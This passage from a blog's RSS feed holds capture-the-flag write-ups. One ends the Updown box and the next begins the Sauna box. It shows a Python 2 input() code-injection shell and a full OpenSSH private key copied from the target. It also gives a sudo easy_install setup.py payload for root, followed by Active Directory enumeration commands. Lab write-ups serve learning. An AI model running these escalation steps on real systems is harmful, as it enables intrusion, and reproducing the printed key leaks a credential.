&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;drwxr-x--- 2 developer www-data 4096 Jun 22 2022 .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;drwxr-xr-x 6 developer developer 4096 Aug 30 2022 ..
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwsr-x--- 1 developer www-data 16928 Jun 22 2022 siteisup&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Looking around the machine, I see that there is a user.txt flag located in the developer home directory. I can&amp;rsquo;t access it, because I lack permissions to read it.
In the home directory of that user there is a &lt;code&gt;/dev&lt;/code&gt; folder which hosts two files - &amp;ldquo;siteisup&amp;rdquo; and &amp;ldquo;siteisup_text.py&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Looking at the files I can see that siteisup has a sid as root so this is likely a way to priv-esc.&lt;/p&gt;
&lt;p&gt;Looking at siteisup with the strings command I can see that it is related to siteisup_text.py.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Welcome to &amp;#39;siteisup.htb&amp;#39; application
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/bin/python /home/developer/dev/siteisup_test.py&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Next step is to read and understand the second script.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url = input(&amp;#34;Enter URL here:&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;page = requests.get(url)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if page.status_code == 200:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	print &amp;#34;Website is up&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;else:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	print &amp;#34;Website is down&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I missed this detail few first times I read the code, but apparently this is a Python2 code and it uses the input() function to get user input which luckily for me also automatically executes code. This function uses eval() in the backend meaning it behaves like eval in all other languages!&lt;/p&gt;
&lt;p&gt;First i tried a code injection with &lt;code&gt;__import__('os').system('bash')&lt;/code&gt; into &lt;code&gt;siteisup_test.py&lt;/code&gt; but it hangs the shell up.&lt;br&gt;
Then, I tried a code injection with &lt;code&gt;__import__('os').system('bash')&lt;/code&gt; into &lt;code&gt;siteisup&lt;/code&gt; which worked without any issues.&lt;/p&gt;

&lt;h3 class="relative group"&gt;developer
 &lt;div id="developer" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;With that, I got a partial access as the developer account. The word partial is important - in reality - I only &lt;code&gt;siteisup&lt;/code&gt; tool as the developer, other than that my permissions are still www-data level.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rw-r----- 1 root developer 33 Apr 12 10:06 user.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat user.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat: user.txt: Permission denied&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Luckily, quickly looking around the developer&amp;rsquo;s home directory I found their &lt;code&gt;id_rsa&lt;/code&gt; private key. Which I copied, changed permissions and ran which game me full permissions as that account.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-----BEGIN OPENSSH PRIVATE KEY-----
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NhAAAAAwEAAQAAAYEAmvB40TWM8eu0n6FOzixTA1pQ39SpwYyrYCjKrDtp8g5E05EEcJw/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;S1qi9PFoNvzkt7Uy3++6xDd95ugAdtuRL7qzA03xSNkqnt2HgjKAPOr6ctIvMDph8JeBF2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;F9Sy4XrtfCP76+WpzmxT7utvGD0N1AY3+EGRpOb7q59X0pcPRnIUnxu2sN+vIXjfGvqiAY
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ozOB5DeX8rb2bkii6S3Q1tM1VUDoW7cCRbnBMglm2FXEJU9lEv9Py2D4BavFvoUqtT8aCo
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;srrKvTpAQkPrvfioShtIpo95Gfyx6Bj2MKJ6QuhiJK+O2zYm0z2ujjCXuM3V4Jb0I1Ud+q
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a+QtxTsNQVpcIuct06xTfVXeEtPThaLI5KkXElx+TgwR0633jwRpfx1eVgLCxxYk5CapHu
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;u0nhUpICU1FXr6tV2uE1LIb5TJrCIx479Elbc1MPrGCksQVV8EesI7kk5A2SrnNMxLe2ck
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IsQHQHxIcivCCIzB4R9FbOKdSKyZTHeZzjPwnU+FAAAFiHnDXHF5w1xxAAAAB3NzaC1yc2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;EAAAGBAJrweNE1jPHrtJ+hTs4sUwNaUN/UqcGMq2Aoyqw7afIORNORBHCcP0taovTxaDb8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;5Le1Mt/vusQ3feboAHbbkS+6swNN8UjZKp7dh4IygDzq+nLSLzA6YfCXgRdhfUsuF67Xwj
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;++vlqc5sU+7rbxg9DdQGN/hBkaTm+6ufV9KXD0ZyFJ8btrDfryF43xr6ogGKMzgeQ3l/K2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;9m5Ioukt0NbTNVVA6Fu3AkW5wTIJZthVxCVPZRL/T8tg+AWrxb6FKrU/GgqLK6yr06QEJD
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;6734qEobSKaPeRn8segY9jCiekLoYiSvjts2JtM9ro4wl7jN1eCW9CNVHfqmvkLcU7DUFa
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;XCLnLdOsU31V3hLT04WiyOSpFxJcfk4MEdOt948EaX8dXlYCwscWJOQmqR7rtJ4VKSAlNR
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;V6+rVdrhNSyG+UyawiMeO/RJW3NTD6xgpLEFVfBHrCO5JOQNkq5zTMS3tnJCLEB0B8SHIr
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wgiMweEfRWzinUismUx3mc4z8J1PhQAAAAMBAAEAAAGAMhM4KP1ysRlpxhG/Q3kl1zaQXt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;b/ilNpa+mjHykQo6+i5PHAipilCDih5CJFeUggr5L7f06egR4iLcebps5tzQw9IPtG2TF+
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ydt1GUozEf0rtoJhx+eGkdiVWzYh5XNfKh4HZMzD/sso9mTRiATkglOPpNiom+hZo1ipE0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NBaoVC84pPezAtU4Z8wF51VLmM3Ooft9+T11j0qk4FgPFSxqt6WDRjJIkwTdKsMvzA5XhK
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rXhMhWhIpMWRQ1vxzBKDa1C0+XEA4w+uUlWJXg/SKEAb5jkK2FsfMRyFcnYYq7XV2Okqa0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NnwFDHJ23nNE/piz14k8ss9xb3edhg1CJdzrMAd3aRwoL2h3Vq4TKnxQY6JrQ/3/QXd6Qv
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ZVSxq4iINxYx/wKhpcl5yLD4BCb7cxfZLh8gHSjAu5+L01Ez7E8MPw+VU3QRG4/Y47g0cq
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DHSERme/ArptmaqLXDCYrRMh1AP+EPfSEVfifh/ftEVhVAbv9LdzJkvUR69Kok5LIhAAAA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wCb5o0xFjJbF8PuSasQO7FSW+TIjKH9EV/5Uy7BRCpUngxw30L7altfJ6nLGb2a3ZIi66p
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0QY/HBIGREw74gfivt4g+lpPjD23TTMwYuVkr56aoxUIGIX84d/HuDTZL9at5gxCvB3oz5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;VkKpZSWCnbuUVqnSFpHytRgjCx5f+inb++AzR4l2/ktrVl6fyiNAAiDs0aurHynsMNUjvO
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;N8WLHlBgS6IDcmEqhgXXbEmUTY53WdDhSbHZJo0PF2GRCnNQAAAMEAyuRjcawrbEZgEUXW
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;z3vcoZFjdpU0j9NSGaOyhxMEiFNwmf9xZ96+7xOlcVYoDxelx49LbYDcUq6g2O324qAmRR
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RtUPADO3MPlUfI0g8qxqWn1VSiQBlUFpw54GIcuSoD0BronWdjicUP0fzVecjkEQ0hp7gu
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gNyFi4s68suDESmL5FCOWUuklrpkNENk7jzjhlzs3gdfU0IRCVpfmiT7LDGwX9YLfsVXtJ
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mtpd5SG55TJuGJqXCyeM+U0DBdxsT5AAAAwQDDfs/CULeQUO+2Ij9rWAlKaTEKLkmZjSqB
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2d9yJVHHzGPe1DZfRu0nYYonz5bfqoAh2GnYwvIp0h3nzzQo2Svv3/ugRCQwGoFP1zs1aa
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ZSESqGN9EfOnUqvQa317rHnO3moDWTnYDbynVJuiQHlDaSCyf+uaZoCMINSG5IOC/4Sj0v
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3zga8EzubgwnpU7r9hN2jWboCCIOeDtvXFv08KT8pFDCCA+sMa5uoWQlBqmsOWCLvtaOWe
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;N4jA+ppn1+3e0AAAASZGV2ZWxvcGVyQHNpdGVpc3VwAQ==
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-----END OPENSSH PRIVATE KEY-----&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 class="relative group"&gt;Privilege Escalation
 &lt;div id="privilege-escalation" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;I started my further enumeration with checking if I have any sudo access, turns out that I do.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;developer@updown:~$ sudo -l
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Matching Defaults entries for developer on localhost:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;User developer may run the following commands on localhost:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; (ALL) NOPASSWD: /usr/local/bin/easy_install&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I never heard of easy_install, but I googled it and it actually is in &lt;a href="https://gtfobins.org/gtfobins/easy_install/" target="_blank" rel="noreferrer"&gt;GTFOBins&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I simply had to create a fake &lt;code&gt;setup.py&lt;/code&gt; holding my bash payload inside, setup a listener on my attacker host, and run the script with sudo.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;developer@updown:~$ echo &amp;#39;import os; os.system(&amp;#34;exec /bin/sh &amp;lt;/dev/tty &amp;gt;/dev/tty 2&amp;gt;/dev/tty&amp;#34;)&amp;#39; &amp;gt;setup.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;developer@updown:~$ cat setup.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import os; os.system(&amp;#34;exec /bin/sh &amp;lt;/dev/tty &amp;gt;/dev/tty 2&amp;gt;/dev/tty&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;developer@updown:~$ sudo easy_install .&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And boom, there is root.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Closing Thoughts
 &lt;div id="closing-thoughts" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;Updown is a really challenging machine very focused on niche web exploitation, solid code review and careful parameter manipulation to actually exploit the attack vectors.&lt;/p&gt;
&lt;p&gt;It would be tough not to admit that I struggled at almost every point of this box. I learned a lot of new attack paths and I had to level up my game around code review, web attacks as well as injections and bypasses.&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://emilpawlak.codeberg.page/posts/htb/updown/featured.png"/></item><item><title>Sauna</title><link>https://emilpawlak.codeberg.page/posts/htb/sauna/</link><pubDate>09.04.2026</pubDate><author>EmilPawlak@protonmail.com (Emil Pawlak)</author><guid>https://emilpawlak.codeberg.page/posts/htb/sauna/</guid><description>Sauna is an interesting machine. It goes through a relatively straight-forwards attack path but I fell into a number of false assumptions and rabbit-holes which costed me a lot of time. It’s serves as a great reminder to perform a full enumeration before jumping into any conclusions, to leave no stone upturned and to pay attention to small details.</description><description>
&lt;h2 class="relative group"&gt;Enumeration
 &lt;div id="enumeration" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;nmap
 &lt;div id="nmap" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;As usual, I start with running a nmap scan with &lt;code&gt;sudo nmap -sC -sV -Pn -O 10.129.95.180; sleep 5; sudo nmap -p- -Pn 10.129.95.180; sleep 5; sudo nmap -sU -Pn 10.129.95.180&lt;/code&gt;.





&lt;div
 id="accordion-2f20933c983fda6b2495e64d74bd5725"
 class="border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"
 data-accordion="collapse"
 data-accordion-separated="false"
&gt;
	


 










&lt;details
 class="group border-none"
 data-accordion-item
 
&gt;
 &lt;summary class="flex w-full cursor-pointer items-center justify-between gap-4 px-4 py-3 text-left text-lg font-semibold text-neutral-900 dark:text-neutral-100"&gt;
 &lt;span class="flex items-center gap-2"&gt;
 
 &lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"&gt;
&lt;path fill="currentColor" d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/&gt;&lt;/svg&gt;&lt;/span&gt;
 
 &lt;span&gt;nmap scan results&lt;/span&gt;
 &lt;/span&gt;
 &lt;span class="accordion-chevron ms-auto flex h-5 w-5 items-center justify-center print:hidden"&gt;
 &lt;span class="relative block icon"&gt;&lt;svg
 xmlns="http://www.w3.org/2000/svg"
 viewBox="0 0 20 20"
 fill="currentColor"
 aria-hidden="true"
&gt;
 &lt;path
 fill-rule="evenodd"
 d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z"
 clip-rule="evenodd"
 /&gt;
&lt;/svg&gt;
&lt;/span&gt;
 &lt;/span&gt;
 &lt;/summary&gt;
&lt;div class="px-4 pb-4 text-neutral-700 dark:text-neutral-300"&gt;
 &lt;pre&gt;&lt;code&gt;Nmap scan report for 10.129.95.180
Host is up (0.029s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-08 23:27:02Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019
Aggressive OS guesses: Windows Server 2019 (97%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
| date: 2026-04-08T23:27:10
|_ start_date: N/A
| smb2-security-mode: 
| 3:1:1: 
|_ Message signing enabled and required
|_clock-skew: -1h00m01s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.38 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-09 02:27 CEST
Nmap scan report for 10.129.95.180
Host is up (0.029s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49676/tcp open unknown
49688/tcp open unknown
49696/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 104.50 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-09 02:29 CEST
Nmap scan report for 10.129.95.180
Host is up (0.030s latency).
Not shown: 996 open|filtered udp ports (no-response)
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
389/udp open ldap
&lt;/code&gt;&lt;/pre&gt;

 &lt;/div&gt;
&lt;/details&gt;

&lt;/div&gt;

&lt;style&gt;
 #accordion-2f20933c983fda6b2495e64d74bd5725 &gt; details + details {
 border-top: 1px solid rgb(var(--color-neutral-200));
 }
 .dark #accordion-2f20933c983fda6b2495e64d74bd5725 &gt; details + details {
 border-top-color: rgb(var(--color-neutral-700));
 }
&lt;/style&gt;

&lt;style&gt;
 #accordion-2f20933c983fda6b2495e64d74bd5725 details[data-accordion-item] &gt; summary .accordion-chevron {
 transform: rotate(-90deg);
 transition: transform 200ms ease-in-out;
 }
 #accordion-2f20933c983fda6b2495e64d74bd5725 details[data-accordion-item][open] &gt; summary .accordion-chevron {
 transform: rotate(0deg);
 }
&lt;/style&gt;

&lt;script&gt;
 (() =&gt; {
 const root = document.getElementById("accordion-2f20933c983fda6b2495e64d74bd5725");
 if (!root) return;
 const items = root.querySelectorAll("details[data-accordion-item]");
 items.forEach((item) =&gt; {
 item.addEventListener("toggle", () =&gt; {
 if (!item.open) return;
 items.forEach((other) =&gt; {
 if (other !== item) other.removeAttribute("open");
 });
 });
 });
 })();
&lt;/script&gt;

&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Results show general Windows Active Directory open ports. For an initial enumeration the most interesting ports are DNS, HTTP and SMB. If I won&amp;rsquo;t find an attack vector there I would go and enumerate LDAP, RPC and later ADWS.&lt;/p&gt;
&lt;p&gt;Additionally from the nmap scan I learn that the domain name is &amp;ldquo;EGOTISTICAL-BANK.LOCAL&amp;rdquo; which I added to my &lt;code&gt;/etc/hosts&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;I started with SMB anonymous access bit it didn&amp;rsquo;t work. I also don&amp;rsquo;t know the DC name so I will postpone my DNS enumeration for now.&lt;/p&gt;

&lt;h3 class="relative group"&gt;Website
 &lt;div id="website" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I enumerated the website. Besides the funny theme of it, I found three different forms - newsletter, comment section and a contact form. I tried to provide basic, expected data into them and they all errored out with a 405 page.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;405 - HTTP verb used to access this page is not allowed.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The page you are looking for cannot be displayed because an invalid method (HTTP verb) was used to attempt access.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This is a strange behavior. A http verbs like &amp;ldquo;POST&amp;rdquo;, &amp;ldquo;GET&amp;rdquo;, &amp;ldquo;PUT&amp;rdquo;, &amp;ldquo;DELETE&amp;rdquo; etc. Do test this behavior out I ran BurpSuite and checked which verbs worked. From my testing the POST request format as a whole is not working and when changed to GET the response code turns to 200.&lt;/p&gt;
&lt;p&gt;Due to the POST body turning into a GET parameter, I tried to inject the parameters with SSTI strings, XSS code and finally SQL injections manually but I didn&amp;rsquo;t create any unexpected behavior. I then saved BurpSuite requests to those 3 forms and forwarded them into sqlmap to further check for vulnerabilities there.&lt;/p&gt;
&lt;p&gt;In the meantime I ran a directory and subdomain enumerations with &lt;code&gt;ffuf&lt;/code&gt;.
This &lt;code&gt;ffuf -u http://EGOTISTICAL-BANK.LOCAL/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt&lt;/code&gt; directory enumeration command returned:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;css [Status: 301, Size: 157, Words: 9, Lines: 2, Duration: 28ms]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fonts [Status: 301, Size: 159, Words: 9, Lines: 2, Duration: 30ms]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IMAGES [Status: 301, Size: 160, Words: 9, Lines: 2, Duration: 30ms]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Fonts [Status: 301, Size: 159, Words: 9, Lines: 2, Duration: 27ms]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CSS [Status: 301, Size: 157, Words: 9, Lines: 2, Duration: 31ms]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;So no interesting directories have been found at the first glance.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ffuf -u http://EGOTISTICAL-BANK.LOCAL/ -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H &amp;quot;Host: FUZZ.EGOTISTICAL-BANK.LOCAL&amp;quot; -fs 32797&lt;/code&gt;
Showed no new subdomains so the DC hostname is still unknown.&lt;/p&gt;

&lt;h3 class="relative group"&gt;RID bruteforcing
 &lt;div id="rid-bruteforcing" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I tried to enumerate other host users with a netexec rid-brute, but it didn&amp;rsquo;t work. Guest account is either disabled or was denied.&lt;/p&gt;

&lt;h3 class="relative group"&gt;DNS
 &lt;div id="dns" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;For the next step I ran the &lt;code&gt;dig&lt;/code&gt; command to enumerate some basic information about the domain itself. In a SOA record I found what is most likely the DC name.
&lt;code&gt;EGOTISTICAL-BANK.LOCAL.	3600	IN	SOA	sauna.EGOTISTICAL-BANK.LOCAL. hostmaster.EGOTISTICAL-BANK.LOCAL. 50 900 600 86400 3600&lt;/code&gt;
Besides that, I didn&amp;rsquo;t find any other useful data there.&lt;/p&gt;

&lt;h3 class="relative group"&gt;LDAP
 &lt;div id="ldap" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I checked LDAP with ldapsearch and it worked with an anonymous access &lt;code&gt;ldapsearch -x -H ldap://10.129.95.180/ -b &amp;quot;DC=EGOTISTICAL-BANK,DC=LOCAL&amp;quot;&lt;/code&gt;. This resulted in some interesting information:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Info:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ms-DS-MachineAccountQuota: 10
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msDS-Behavior-Version: 7
